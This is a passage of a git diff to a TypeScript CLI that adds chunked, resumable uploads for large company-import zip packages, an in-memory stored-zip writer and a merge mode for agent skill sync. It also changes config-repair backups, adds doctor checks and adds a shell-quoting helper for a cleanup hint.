Uint8Array { if (typeof entry === "string") return entry; return Buffer.from(entry.data, "base64"); @@ -213,7 +219,7 @@ function shouldIncludePortableFile(filePath: string): boolean { const isMarkdown = baseName.endsWith(".md"); const isPaperclipYaml = baseName === ".paperclip.yaml" || baseName === ".paperclip.yml"; const contentType = binaryContentTypeByExtension[path.extname(baseName).toLowerCase()]; - return isMarkdown || isPaperclipYaml || Boolean(contentType); + return isMarkdown || isPaperclipYaml || Boolean(contentType) || isBlobStorePath(filePath); } function findPortableExtensionPath(files: Record): string | null { @@ -558,6 +564,16 @@ function summarizeImportAgentResults(agents: CompanyPortabilityImportResult["age return `${agents.length} ${pluralize(agents.length, "agent")} total (${parts.join(", ")})`; } +function summarizeImportSkillResults(skills: CompanyPortabilityImportResult["skills"]): string { + if (skills.length === 0) return "0 skills changed"; + const actions = ["created", "renamed", "replaced", "skipped"] as const; + const parts = actions.flatMap((action) => { + const count = skills.filter((skill) => skill.action === action).length; + return count > 0 ? [`${count} ${action}`] : []; + }); + return `${skills.length} ${pluralize(skills.length, "skill")} total (${parts.join(", ")})`; +} + function summarizeImportProjectResults(projects: CompanyPortabilityImportResult["projects"]): string { if (projects.length === 0) return "0 projects changed"; const created = projects.filter((project) => project.action === "created").length; @@ -691,10 +707,12 @@ export function renderCompanyImportResult( result: CompanyPortabilityImportResult, meta: { targetLabel: string; companyUrl?: string; infoMessages?: string[] }, ): string { + const skills = result.skills ?? []; const lines: string[] = [ `${pc.bold("Target")} ${meta.targetLabel}`, `${pc.bold("Company")} ${result.company.name} (${actionChip(result.company.action)})`, `${pc.bold("Agents")} ${summarizeImportAgentResults(result.agents)}`, + `${pc.bold("Skills")} ${summarizeImportSkillResults(skills)}`, `${pc.bold("Projects")} ${summarizeImportProjectResults(result.projects)}`, ]; @@ -711,6 +729,15 @@ export function renderCompanyImportResult( reason: agent.reason, })), ); + appendPreviewExamples( + lines, + "Skill results", + skills.map((skill) => ({ + action: skill.action, + label: `${skill.originalSlug} -> ${skill.slug}`, + reason: skill.reason, + })), + ); appendPreviewExamples( lines, "Project results", @@ -916,23 +943,23 @@ async function pathExists(inputPath: string): Promise { } } -async function collectPackageFiles( +async function collectPackageFileBytes( root: string, current: string, - files: Record, + files: Record, ): Promise { const entries = await readdir(current, { withFileTypes: true }); for (const entry of entries) { if (entry.name.startsWith(".git")) continue; const absolutePath = path.join(current, entry.name); if (entry.isDirectory()) { - await collectPackageFiles(root, absolutePath, files); + await collectPackageFileBytes(root, absolutePath, files); continue; } if (!entry.isFile()) continue; const relativePath = path.relative(root, absolutePath).replace(/\\/g, "/"); if (!shouldIncludePortableFile(relativePath)) continue; - files[relativePath] = readPortableFileEntry(relativePath, await readFile(absolutePath)); + files[relativePath] = await readFile(absolutePath); } } @@ -954,14 +981,232 @@ export async function resolveInlineSourceFromPath(inputPath: string): Promise<{ } const rootDir = resolvedStat.isDirectory() ? resolved : path.dirname(resolved); - const files: Record = {}; - await collectPackageFiles(rootDir, rootDir, files); + const fileBytes: Record = {}; + await collectPackageFileBytes(rootDir, rootDir, fileBytes); return { rootPath: path.basename(rootDir), - files, + files: Object.fromEntries( + Object.entries(fileBytes).map(([relativePath, bytes]) => [ + relativePath, + bytesToPortableFileEntry(relativePath, bytes), + ]), + ), }; } +// ── Chunked transfer flow for large local packages ─────────────────── +// +// A local package over the threshold is not posted as one inline JSON body: +// its zip is declared as a chunked transfer (whole-file and per-part sha256), +// the parts are uploaded individually with per-part retries, and preview and +// apply run server-side against the assembled spool. Re-declaring the same +// content — after a failure or an interrupted run — resumes the prior +// transfer, so only the parts the server is missing are ever re-uploaded. + +export const CHUNKED_IMPORT_THRESHOLD_BYTES = 48 * 1024 * 1024; +// Imports into an EXISTING company post to /api/companies/:id/imports/*, +// which sits behind the server's default 10 MB JSON parser — only the +// generic /api/companies/import path carries the 64 MB portable limit. The +// chunk decision for existing targets therefore uses this lower threshold +// (margin under 10 MB for the envelope), or the inline body would 413. +export const EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES = 8 * 1024 * 1024; +export const IMPORT_TRANSFER_PART_SIZE_BYTES = 32 * 1024 * 1024; +const IMPORT_TRANSFER_PART_ATTEMPTS = 3; + +// ── Inline request size estimation ─────────────────────────────────── +// +// Mirrors `estimateInlineImportBytes` in ui/src/lib/import-preflight.ts (the +// CLI cannot import from ui/) — keep the math on both sides in sync. The +// server enforces its body limit on raw request bytes, so each entry is +// measured the way it actually travels: JSON-escaped UTF-8 for text +// (multi-byte characters and escape sequences both inflate past +// `String.length`), and the base64 payload plus its object structure for +// binary entries (base64 and MIME types are ASCII, one byte per character). + +const inlineEstimateUtf8 = new TextEncoder(); + +// Fixed serialization overhead of a base64 entry object around its data and +// contentType values: {"encoding":"base64","data":"…","contentType":"…"}. +const BASE64_ENTRY_STRUCTURE_BYTES = '{"encoding":"base64","data":"","contentType":""}'.length; + +// Allowance for everything in the request body besides the files map itself +// (rootPath, include flags, target, collision strategy, adapter overrides, +// braces and commas). Deliberately generous so the estimate never undercounts. +const REQUEST_ENVELOPE_ALLOWANCE_BYTES = 256 * 1024; + +function fileEntryInlineBytes(entry: CompanyPortabilityFileEntry): number { + if (typeof entry === "string") return inlineEstimateUtf8.encode(JSON.stringify(entry)).length; + return BASE64_ENTRY_STRUCTURE_BYTES + entry.data.length + (entry.contentType?.length ?? 0); +} + +/** + * Approximate JSON request size of an inline import: JSON-escaped UTF-8 text + * bytes, base64 payloads with their entry structure, the serialized file-path + * keys (thousands of paths are real bytes), and an envelope allowance for the + * rest of the request body. + */ +function estimateInlineImportBytes(files: Record): number { + let total = REQUEST_ENVELOPE_ALLOWANCE_BYTES; + for (const [filePath, entry] of Object.entries(files)) { + // "path": entry, → key bytes + colon + comma. + total += inlineEstimateUtf8.encode(JSON.stringify(filePath)).length + 2 + fileEntryInlineBytes(entry); + } + return total; +} + +export interface ImportTransferUploadProgress { + uploadedParts: number; + totalParts: number; + uploadedBytes: number; + totalBytes: number; +} + +export function buildImportTransferManifest(zipBytes: Uint8Array): CompanyImportTransferDeclaration { + const sha256 = (bytes: Uint8Array) => createHash("sha256").update(bytes).digest("hex"); + const parts: CompanyImportTransferDeclaration["parts"] = []; + for (let offset = 0; offset < zipBytes.length; offset += IMPORT_TRANSFER_PART_SIZE_BYTES) { + const byteSize = Math.min(IMPORT_TRANSFER_PART_SIZE_BYTES, zipBytes.length - offset); + parts.push({ + index: parts.length, + byteSize, + sha256: sha256(zipBytes.subarray(offset, offset + byteSize)), + }); + } + return { + totalBytes: zipBytes.length, + zipSha256: sha256(zipBytes), + partSizeBytes: IMPORT_TRANSFER_PART_SIZE_BYTES, + parts, + }; +} + +/** + * Resolve a local import source into raw zip bytes when its package is too + * large to travel as one inline JSON body: a .zip file is read as-is (so its + * declared hashes match the file on disk), a folder is packaged as a stored + * zip in memory with the same walk filters the inline path uses. Both source + * kinds are measured twice — raw bytes as a fast path, then the estimated + * inline request size, because base64 inflates binary entries ~4/3 and a + * compressed zip can expand far past its file size. Returns null for sources + * under the threshold on both measures — those keep the inline JSON path. + */ +export async function resolveChunkedImportZip( + inputPath: string, + thresholdBytes: number = CHUNKED_IMPORT_THRESHOLD_BYTES, +): Promise<{ + zipBytes: Uint8Array; + rootPath: string; +} | null> { + const resolved = path.resolve(inputPath); + const resolvedStat = await stat(resolved); + if (resolvedStat.isFile() && path.extname(resolved).toLowerCase() === ".zip") { + const zipBytes = new Uint8Array(await readFile(resolved)); + const rootPath = path.basename(resolved, ".zip"); + if (resolvedStat.size > thresholdBytes) return { zipBytes, rootPath }; + // A small compressed zip can still expand past server caps as inline + // JSON (text compresses well and binary re-inflates ~4/3 as base64), so + // the stay-inline decision uses the estimated request size of the same + // entries the inline path would send. An unreadable zip stays inline so + // that path surfaces its canonical parse error. + let archive: Awaited>; + try { + archive = await readZipArchive(zipBytes); + } catch { + return null; + } + if (estimateInlineImportBytes(archive.files) <= thresholdBytes) return null; + return { zipBytes, rootPath }; + } + if (!resolvedStat.isDirectory()) return null; + const fileBytes: Record = {}; + await collectPackageFileBytes(resolved, resolved, fileBytes); + const rootPath = path.basename(resolved); + // Content bytes alone already past the threshold means the stored zip + // (content plus headers) is too. + const contentBytes = Object.values(fileBytes).reduce((sum, bytes) => sum + bytes.length, 0); + if (contentBytes <= thresholdBytes) { + // Raw bytes under the threshold can still blow past server caps once the + // inline body is built (binary entries travel base64-inflated), so the + // stay-inline decision is made on the estimated request size — the same + // entries the inline path would send. + const inlineEntries = Object.fromEntries( + Object.entries(fileBytes).map(([relativePath, bytes]) => [ + relativePath, + bytesToPortableFileEntry(relativePath, bytes), + ]), + ); + if (estimateInlineImportBytes(inlineEntries) <= thresholdBytes) return null; + } + return { zipBytes: createStoredZipArchive(fileBytes, rootPath), rootPath }; +} + +/** + * Declare (or resume) the transfer for these zip bytes and upload every part + * the server reports missing, sequentially with per-part retries. Resolves + * with the transfer id once the server holds every part. + */ +export async function uploadCompanyImportTransfer( + api: Pick, + zipBytes: Uint8Array, + opts: { onProgress?: (progress: ImportTransferUploadProgress) => void } = {}, +): Promise { + const manifest = buildImportTransferManifest(zipBytes); + const created = await api.post( + `/api/companies${COMPANY_IMPORT_TRANSFERS_ROUTE_PATH}`, + manifest, + ); + if (!created) { + throw new Error("Import transfer declaration returned no data."); + } + if (created.alreadyCompleted) { + // The server keys transfers by content, and this exact zip already + // finished an apply — its spooled parts are gone, so it cannot re-run. + // Name the company that apply created so the rejection points at the + // existing import instead of reading as data loss. + throw new Error(buildAlreadyImportedMessage(created.company)); + } + const missing = new Set(created.missingParts); + let uploadedParts = manifest.parts.length - missing.size; + let uploadedBytes = manifest.parts.reduce( + (sum, part) => (missing.has(part.index) ? sum : sum + part.byteSize), + 0, + ); + for (const part of manifest.parts) { + if (!missing.has(part.index)) continue; + const offset = part.index * manifest.partSizeBytes; + const bytes = zipBytes.subarray(offset, offset + part.byteSize); + let lastError: unknown = null; + let uploaded = false; + for (let attempt = 0; attempt < IMPORT_TRANSFER_PART_ATTEMPTS && !uploaded; attempt += 1) { + try { + await api.putRaw( + `/api/companies${companyImportTransferPartPath(created.transferId, part.index)}`, + bytes, + ); + uploaded = true; + } catch (err) { + lastError = err; + } + } + if (!uploaded) { + // Parts already uploaded stay spooled server-side; re-running the + // import resumes from them instead of starting over. + throw lastError instanceof Error + ? lastError + : new Error(`Import transfer part ${part.index} failed to upload.`); + } + uploadedParts += 1; + uploadedBytes += part.byteSize; + opts.onProgress?.({ + uploadedParts, + totalParts: manifest.parts.length, + uploadedBytes, + totalBytes: manifest.totalBytes, + }); + } + return created.transferId; +} + export async function writeExportToFolder(outDir: string, exported: CompanyPortabilityExportResult): Promise { const root = path.resolve(outDir); await mkdir(root, { recursive: true }); @@ -1453,6 +1698,7 @@ export function registerCompanyCommands(program: Command): void { let sourcePayload: | { type: "inline"; rootPath?: string | null; files: Record } | { type: "github"; url: string }; + let chunkedZip: { zipBytes: Uint8Array; rootPath: string } | null = null; const treatAsLocalPath = !isHttpUrl(from) && await pathExists(from); const isGithubSource = looksLikeRepoUrl(from) || (isGithubShorthand(from) && !treatAsLocalPath); @@ -1469,12 +1715,24 @@ export function registerCompanyCommands(program: Command): void { if (opts.ref?.trim()) { throw new Error("--ref is only supported for GitHub import sources."); } - const inline = await resolveInlineSourceFromPath(from); - sourcePayload = { - type: "inline", - rootPath: inline.rootPath, - files: inline.files, - }; + chunkedZip = await resolveChunkedImportZip( + from, + target === "existing" + ? EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES + : CHUNKED_IMPORT_THRESHOLD_BYTES, + ); + if (chunkedZip) { + // Too large for one request: the zip travels as a chunked + // transfer, so the inline files map is never built or sent. + sourcePayload = { type: "inline", rootPath: chunkedZip.rootPath, files: {} }; + } else { + const inline = await resolveInlineSourceFromPath(from); + sourcePayload = { + type: "inline", + rootPath: inline.rootPath, + files: inline.files, + }; + } } const sourceLabel = formatSourceLabel(sourcePayload); @@ -1485,15 +1743,40 @@ export function registerCompanyCommands(program: Command): void { companyId: targetPayload.mode === "existing_company" ? targetPayload.companyId : null, }); + // The transfer meta mirrors the inline preview payload minus its + // `source` — the source is the assembled zip, spooled server-side. + const transferMeta = { + include, + target: targetPayload, + agents, + collisionStrategy: collision, + }; + let transferId: string | null = null; + if (chunkedZip) { + transferId = await uploadCompanyImportTransfer(ctx.api, chunkedZip.zipBytes, { + onProgress: ctx.json + ? undefined + : ({ uploadedParts, totalParts, uploadedBytes, totalBytes }) => { + console.log( + pc.dim( + `Uploaded part ${uploadedParts}/${totalParts} (${Math.round(uploadedBytes / (1024 * 1024))} of ${Math.round(totalBytes / (1024 * 1024))} MB)`, + ), + ); + }, + }); + } + const transferPreviewPath = transferId + ? `/api/companies${companyImportTransferPreviewPath(transferId)}` + : null; + let selectedFiles: string[] | undefined; if (interactiveView && !opts.yes && !opts.include?.trim()) { - const initialPreview = await ctx.api.post(previewApiPath, { - source: sourcePayload, - include, - target: targetPayload, - agents, - collisionStrategy: collision, - }); + const initialPreview = transferPreviewPath + ? await ctx.api.post(transferPreviewPath, transferMeta) + : await ctx.api.post(previewApiPath, { + source: sourcePayload, + ...transferMeta, + }); if (!initialPreview) { throw new Error("Import preview returned no data."); } @@ -1502,13 +1785,15 @@ export function registerCompanyCommands(program: Command): void { const previewPayload = { source: sourcePayload, - include, - target: targetPayload, - agents, - collisionStrategy: collision, + ...transferMeta, selectedFiles, }; - const preview = await ctx.api.post(previewApiPath, previewPayload); + const preview = transferPreviewPath + ? await ctx.api.post(transferPreviewPath, { + ...transferMeta, + selectedFiles, + }) + : await ctx.api.post(previewApiPath, previewPayload); if (!preview) { throw new Error("Import preview returned no data."); } @@ -1565,10 +1850,15 @@ export function registerCompanyCommands(program: Command): void { targetMode: targetPayload.mode, companyId: targetPayload.mode === "existing_company" ? targetPayload.companyId : null, }); - const imported = await ctx.api.post(importApiPath, { - ...previewPayload, - adapterOverrides, - }); + const imported = transferId + ? await ctx.api.post( + `/api/companies${companyImportTransferApplyPath(transferId)}`, + { ...transferMeta, selectedFiles, adapterOverrides }, + ) + : await ctx.api.post(importApiPath, { + ...previewPayload, + adapterOverrides, + }); if (!imported) { throw new Error("Import request returned no data."); } diff --git a/cli/src/commands/client/skills.ts b/cli/src/commands/client/skills.ts index c97ebd18df1..f24316c9c49 100644 --- a/cli/src/commands/client/skills.ts +++ b/cli/src/commands/client/skills.ts @@ -1,17 +1,19 @@ import { Command } from "commander"; -import type { - Agent, - AgentSkillSnapshot, - CatalogSkill, - CompanySkill, - CompanySkillAuditResult, - CompanySkillDetail, - CompanySkillFileDetail, - CompanySkillImportResult, - CompanySkillInstallCatalogResult, - CompanySkillListItem, - CompanySkillProjectScanResult, - CompanySkillUpdateStatus, +import { + agentSkillAssignmentModeSchema, + type AgentSkillAssignmentMode, + type Agent, + type AgentSkillSnapshot, + type CatalogSkill, + type CompanySkill, + type CompanySkillAuditResult, + type CompanySkillDetail, + type CompanySkillFileDetail, + type CompanySkillImportResult, + type CompanySkillInstallCatalogResult, + type CompanySkillListItem, + type CompanySkillProjectScanResult, + type CompanySkillUpdateStatus, } from "@paperclipai/shared"; import { readFile } from "node:fs/promises"; import { stdin as input, stdout as output } from "node:process"; @@ -69,6 +71,7 @@ interface ConfirmedSkillOptions extends SkillsOptions { interface AgentSkillSyncOptions extends SkillsOptions { skill?: string[]; + mode: AgentSkillAssignmentMode; } type CompanySkillReferenceTarget = Pick; @@ -502,9 +505,13 @@ function registerAgentSkillCommands(skills: Command): void { addCommonClientOptions( agent .command("sync") - .description("Replace an agent's desired company skills and sync runtime state") + .description("Merge an agent's desired company skills and sync runtime state") .argument("", "Agent ID or shortname/url-key") .option("--skill ", "Desired company skill ID, key, or slug; may be repeated", collectOptionValue, [] as string[]) + .requiredOption( + "--mode ", + "Merge mode: add keeps other skills; remove deletes only named skills; replace destructively overwrites the complete set", + ) .action(async (agentRef: string, opts: AgentSkillSyncOptions) => { try { const desiredSkills = opts.skill ?? []; @@ -513,16 +520,17 @@ function registerAgentSkillCommands(skills: Command): void { } const ctx = resolveCommandContext(opts, { requireCompany: true }); const agentRow = await resolveAgent(ctx, agentRef); + const mode = agentSkillAssignmentModeSchema.parse(opts.mode); const snapshot = await ctx.api.post( `/api/agents/${encodeURIComponent(agentRow.id)}/skills/sync`, - { desiredSkills }, + { desiredSkills, mode }, ); if (ctx.json) { printOutput(snapshot, { json: true }); return; } console.log( - `Desired company skills replaced for ${agentRow.name} (${agentRow.id}); runtime sync returned ${snapshot?.entries.length ?? 0} entrie(s).`, + `Desired company skills updated with ${mode} mode for ${agentRow.name} (${agentRow.id}); runtime sync returned ${snapshot?.entries.length ?? 0} entrie(s).`, ); printAgentSkillSnapshot(snapshot, agentRow); } catch (err) { @@ -548,7 +556,7 @@ function registerAgentSkillCommands(skills: Command): void { ); const snapshot = await ctx.api.post( `/api/agents/${encodeURIComponent(agentRow.id)}/skills/sync`, - { desiredSkills: [] }, + { desiredSkills: [], mode: "replace" }, ); if (ctx.json) { printOutput(snapshot, { json: true }); diff --git a/cli/src/commands/client/zip.ts b/cli/src/commands/client/zip.ts index b75935e9530..a927d239c18 100644 --- a/cli/src/commands/client/zip.ts +++ b/cli/src/commands/client/zip.ts @@ -1,129 +1,117 @@ -import { inflateRawSync } from "node:zlib"; -import path from "node:path"; -import type { CompanyPortabilityFileEntry } from "@paperclipai/shared"; - -const textDecoder = new TextDecoder(); - -export const binaryContentTypeByExtension: Record = { - ".gif": "image/gif", - ".jpeg": "image/jpeg", - ".jpg": "image/jpeg", - ".png": "image/png", - ".svg": "image/svg+xml", - ".webp": "image/webp", -}; - -function normalizeArchivePath(pathValue: string) { - return pathValue - .replace(/\\/g, "/") - .split("/") - .filter(Boolean) - .join("/"); -} - -function readUint16(source: Uint8Array, offset: number) { - return source[offset]! | (source[offset + 1]! << 8); -} - -function readUint32(source: Uint8Array, offset: number) { - return ( - source[offset]! | - (source[offset + 1]! << 8) | - (source[offset + 2]! << 16) | - (source[offset + 3]! << 24) - ) >>> 0; +// The node-side portability zip reader lives in @paperclipai/shared so the +// server can consume the same codec (a raw uploaded zip is unzipped into the +// exact `{ rootPath, files }` bundle the inline import source carries). This +// module re-exports it to keep the CLI's existing import paths stable. +export { + binaryContentTypeByExtension, + bytesToPortableFileEntry, + isBlobStorePath, + readZipArchive, +} from "@paperclipai/shared/portability-zip"; + +// STORE-only zip writer used to package a local folder in memory for the +// chunked import transfer path. STORE keeps the writer dependency-free; the +// transfer slices the raw archive bytes, so compression only trades CPU for +// part count. Classic zip only: entry counts and offsets past the 16/32-bit +// header fields would need zip64, which the reader side does not require and +// this writer refuses to emit. + +const ZIP_MAX_ENTRIES = 0xffff; +const ZIP_MAX_OFFSET_BYTES = 0xffffffff; + +function writeUint16(target: Uint8Array, offset: number, value: number) { + target[offset] = value & 0xff; + target[offset + 1] = (value >>> 8) & 0xff; } -function sharedArchiveRoot(paths: string[]) { - if (paths.length === 0) return null; - const firstSegments = paths - .map((entry) => normalizeArchivePath(entry).split("/").filter(Boolean)) - .filter((parts) => parts.length > 0); - if (firstSegments.length === 0) return null; - const candidate = firstSegments[0]![0]!; - return firstSegments.every((parts) => parts.length > 1 && parts[0] === candidate) - ? candidate - : null; +function writeUint32(target: Uint8Array, offset: number, value: number) { + target[offset] = value & 0xff; + target[offset + 1] = (value >>> 8) & 0xff; + target[offset + 2] = (value >>> 16) & 0xff; + target[offset + 3] = (value >>> 24) & 0xff; } -function bytesToPortableFileEntry(pathValue: string, bytes: Uint8Array): CompanyPortabilityFileEntry { - const contentType = binaryContentTypeByExtension[path.extname(pathValue).toLowerCase()]; - if (!contentType) return textDecoder.decode(bytes); - return { - encoding: "base64", - data: Buffer.from(bytes).toString("base64"), - contentType, - }; -} - -async function inflateZipEntry(compressionMethod: number, bytes: Uint8Array) { - if (compressionMethod === 0) return bytes; - if (compressionMethod !== 8) { - throw new Error("Unsupported zip archive: only STORE and DEFLATE entries are supported."); +function crc32(bytes: Uint8Array) { + let crc = 0xffffffff; + for (const byte of bytes) { + crc ^= byte; + for (let bit = 0; bit < 8; bit += 1) { + crc = (crc & 1) === 1 ? (crc >>> 1) ^ 0xedb88320 : crc >>> 1; + } } - return new Uint8Array(inflateRawSync(bytes)); + return (crc ^ 0xffffffff) >>> 0; } -export async function readZipArchive(source: ArrayBuffer | Uint8Array): Promise<{ - rootPath: string | null; - files: Record; -}> { - const bytes = source instanceof Uint8Array ? source : new Uint8Array(source); - const entries: Array<{ path: string; body: CompanyPortabilityFileEntry }> = []; - let offset = 0; - - while (offset + 4 <= bytes.length) { - const signature = readUint32(bytes, offset); - if (signature === 0x02014b50 || signature === 0x06054b50) break; - if (signature !== 0x04034b50) { - throw new Error("Invalid zip archive: unsupported local file header."); - } - - if (offset + 30 > bytes.length) { - throw new Error("Invalid zip archive: truncated local file header."); - } - - const generalPurposeFlag = readUint16(bytes, offset + 6); - const compressionMethod = readUint16(bytes, offset + 8); - const compressedSize = readUint32(bytes, offset + 18); - const fileNameLength = readUint16(bytes, offset + 26); - const extraFieldLength = readUint16(bytes, offset + 28); - - if ((generalPurposeFlag & 0x0008) !== 0) { - throw new Error("Unsupported zip archive: data descriptors are not supported."); - } - - const nameOffset = offset + 30; - const bodyOffset = nameOffset + fileNameLength + extraFieldLength; - const bodyEnd = bodyOffset + compressedSize; - if (bodyEnd > bytes.length) { - throw new Error("Invalid zip archive: truncated file contents."); - } - - const rawArchivePath = textDecoder.decode(bytes.slice(nameOffset, nameOffset + fileNameLength)); - const archivePath = normalizeArchivePath(rawArchivePath); - const isDirectoryEntry = /\/$/.test(rawArchivePath.replace(/\\/g, "/")); - if (archivePath && !isDirectoryEntry) { - const entryBytes = await inflateZipEntry(compressionMethod, bytes.slice(bodyOffset, bodyEnd)); - entries.push({ - path: archivePath, - body: bytesToPortableFileEntry(archivePath, entryBytes), - }); +/** + * Build a stored (uncompressed) zip of `files` under a single `rootPath/` + * top-level directory — the layout `readZipArchive` folds back into the + * inline `{ rootPath, files }` bundle. Entries are written in sorted path + * order and carry no timestamps, so the same content always produces the + * same bytes and a re-run resumes its content-addressed transfer. + */ +export function createStoredZipArchive(files: Record, rootPath: string): Uint8Array { + const entries = Object.entries(files).sort(([left], [right]) => left.localeCompare(right)); + if (entries.length > ZIP_MAX_ENTRIES) { + throw new Error(`Package has too many files to zip (${entries.length}; the zip format caps at ${ZIP_MAX_ENTRIES}).`); + } + const encoder = new TextEncoder(); + const localChunks: Uint8Array[] = []; + const centralChunks: Uint8Array[] = []; + let localOffset = 0; + + for (const [relativePath, body] of entries) { + const fileName = encoder.encode(`${rootPath}/${relativePath}`); + const checksum = crc32(body); + + const localHeader = new Uint8Array(30 + fileName.length); + writeUint32(localHeader, 0, 0x04034b50); + writeUint16(localHeader, 4, 20); + writeUint16(localHeader, 6, 0x0800); + writeUint16(localHeader, 8, 0); + writeUint32(localHeader, 14, checksum); + writeUint32(localHeader, 18, body.length); + writeUint32(localHeader, 22, body.length); + writeUint16(localHeader, 26, fileName.length); + localHeader.set(fileName, 30); + + const centralHeader = new Uint8Array(46 + fileName.length); + writeUint32(centralHeader, 0, 0x02014b50); + writeUint16(centralHeader, 4, 20); + writeUint16(centralHeader, 6, 20); + writeUint16(centralHeader, 8, 0x0800); + writeUint16(centralHeader, 10, 0); + writeUint32(centralHeader, 16, checksum); + writeUint32(centralHeader, 20, body.length); + writeUint32(centralHeader, 24, body.length); + writeUint16(centralHeader, 28, fileName.length); + writeUint32(centralHeader, 42, localOffset); + centralHeader.set(fileName, 46); + + localChunks.push(localHeader, body); + centralChunks.push(centralHeader); + localOffset += localHeader.length + body.length; + if (body.length > ZIP_MAX_OFFSET_BYTES || localOffset > ZIP_MAX_OFFSET_BYTES) { + throw new Error("Package is too large to zip in memory (zip64 archives are not supported)."); } - - offset = bodyEnd; } - const rootPath = sharedArchiveRoot(entries.map((entry) => entry.path)); - const files: Record = {}; - for (const entry of entries) { - const normalizedPath = - rootPath && entry.path.startsWith(`${rootPath}/`) - ? entry.path.slice(rootPath.length + 1) - : entry.path; - if (!normalizedPath) continue; - files[normalizedPath] = entry.body; + const centralDirectoryLength = centralChunks.reduce((sum, chunk) => sum + chunk.length, 0); + const archive = new Uint8Array(localOffset + centralDirectoryLength + 22); + let offset = 0; + for (const chunk of localChunks) { + archive.set(chunk, offset); + offset += chunk.length; + } + const centralDirectoryOffset = offset; + for (const chunk of centralChunks) { + archive.set(chunk, offset); + offset += chunk.length; } + writeUint32(archive, offset, 0x06054b50); + writeUint16(archive, offset + 8, entries.length); + writeUint16(archive, offset + 10, entries.length); + writeUint32(archive, offset + 12, centralDirectoryLength); + writeUint32(archive, offset + 16, centralDirectoryOffset); - return { rootPath, files }; + return archive; } diff --git a/cli/src/commands/configure.ts b/cli/src/commands/configure.ts index 7c9b391bf0f..126fcc414bf 100644 --- a/cli/src/commands/configure.ts +++ b/cli/src/commands/configure.ts @@ -1,7 +1,16 @@ import * as p from "@clack/prompts"; import pc from "picocolors"; -import { readConfig, writeConfig, configExists, resolveConfigPath } from "../config/store.js"; -import type { PaperclipConfig } from "../config/schema.js"; +import { + backupInvalidConfig, + readConfig, + writeConfig, + configExists, + resolveConfigPath, +} from "../config/store.js"; +import { + findPaperclipConfigKeyWarnings, + type PaperclipConfig, +} from "../config/schema.js"; import { ensureLocalSecretsKeyFile } from "../config/secrets-key.js"; import { promptDatabase } from "../prompts/database.js"; import { promptLlm } from "../prompts/llm.js"; @@ -88,15 +97,39 @@ export async function configure(opts: { } let config: PaperclipConfig; + let invalidBackupPath: string | undefined; try { config = readConfig(opts.config) ?? defaultConfig(); + for (const warning of findPaperclipConfigKeyWarnings(config)) { + p.log.warn(`Unknown config key ${warning.path}; did you mean ${warning.suggestion}? It will be preserved.`); + } } catch (err) { - p.log.message( - pc.yellow( - `Existing config is invalid. Loading defaults so you can repair it now.\n${err instanceof Error ? err.message : String(err)}`, - ), + const backupPath = backupInvalidConfig(opts.config); + p.log.warn( + `Existing config is invalid. Preserved the original bytes at ${backupPath}.\n${err instanceof Error ? err.message : String(err)}`, ); + + if (!process.stdin.isTTY || !process.stdout.isTTY) { + p.log.error( + `Refusing to replace ${configPath} without confirmation. Rerun interactively to repair from defaults; the original and ${backupPath} are unchanged.`, + ); + p.outro(""); + process.exitCode = 1; + return; + } + + const repair = await p.confirm({ + message: `Repair from defaults? The invalid original is backed up at ${backupPath}.`, + initialValue: false, + }); + if (p.isCancel(repair) || !repair) { + p.cancel(`Configuration left unchanged. Invalid backup: ${backupPath}`); + process.exitCode = 1; + return; + } + config = defaultConfig(); + invalidBackupPath = backupPath; } let section: Section | undefined = opts.section as Section | undefined; @@ -179,8 +212,15 @@ export async function configure(opts: { config.$meta.updatedAt = new Date().toISOString(); config.$meta.source = "configure"; - writeConfig(config, opts.config); - p.log.success(`${SECTION_LABELS[section]} configuration updated.`); + const written = writeConfig(config, opts.config, { + invalidBackupPath, + }); + invalidBackupPath = undefined; + if (written) { + p.log.success(`${SECTION_LABELS[section]} configuration updated.`); + } else { + p.log.message(pc.dim(`${SECTION_LABELS[section]} configuration unchanged.`)); + } // If section was provided via CLI flag, don't loop if (opts.section) { diff --git a/cli/src/commands/doctor.ts b/cli/src/commands/doctor.ts index 3ace070ed32..28ce37e3c6a 100644 --- a/cli/src/commands/doctor.ts +++ b/cli/src/commands/doctor.ts @@ -9,13 +9,17 @@ import { deploymentAuthCheck, llmCheck, logCheck, + managedInstallChecks, + nodeRuntimeCheck, portCheck, secretsCheck, + serviceHealthChecks, storageCheck, type CheckResult, } from "../checks/index.js"; import { loadPaperclipEnvFile } from "../config/env.js"; import { printPaperclipCliBanner } from "../utils/banner.js"; +import { printUpdateNotice } from "../update-notice.js"; const STATUS_ICON = { pass: pc.green("✓"), @@ -28,6 +32,7 @@ export async function doctor(opts: { repair?: boolean; yes?: boolean; }): Promise<{ passed: number; warned: number; failed: number }> { + await printUpdateNotice(opts.config); printPaperclipCliBanner(); p.intro(pc.bgCyan(pc.black(" paperclip doctor "))); @@ -120,6 +125,21 @@ export async function doctor(opts: { results.push(portResult); printResult(portResult); + // 10. Runtime and managed install checks + const nodeResult = nodeRuntimeCheck(); + results.push(nodeResult); + printResult(nodeResult); + for (const result of managedInstallChecks()) { + results.push(result); + printResult(result); + } + + // 11. Background service checks + for (const result of await serviceHealthChecks(config)) { + results.push(result); + printResult(result); + } + // Summary return printSummary(results); } diff --git a/cli/src/commands/env-lab.ts b/cli/src/commands/env-lab.ts index 55227c9f631..2e65bd36bf1 100644 --- a/cli/src/commands/env-lab.ts +++ b/cli/src/commands/env-lab.ts @@ -1,4 +1,5 @@ import path from "node:path"; +import { fileURLToPath } from "node:url"; import type { Command } from "commander"; import * as p from "@clack/prompts"; import pc from "picocolors"; @@ -111,6 +112,76 @@ export async function envLabDownCommand(opts: { instance?: string; json?: boolea p.log.message(`State: ${pc.dim(statePath)}`); } +// Quote one argument for a POSIX shell. The env-lab cleanup hint is copyable, so +// a contributor can paste it into a shell. A checkout path can hold shell +// metacharacters, such as `$`, a backtick, or a double quote. Inside double +// quotes a POSIX shell still expands `$(...)`, a backtick pair, and `$NAME`, and +// a double quote in the path ends the quoted span. So double quotes do not make +// the path safe. Single quotes stop every expansion. This function wraps the +// value in single quotes and rewrites each embedded single quote as the `'\''` +// sequence. The shell then reads the exact path and runs no embedded command. +function shellQuoteArgument(value: string): string { + return "'" + value.replace(/'/g, "'\\''") + "'"; +} + +// Describe how to re-run the env-lab CLI to stop the fixture. The bundled build +// emits one `dist/index.js` file, so node runs that file directly and `tsxBin` +// is `null`. A source checkout runs `src/index.ts` through the checked-out tsx +// runner, because the entry is 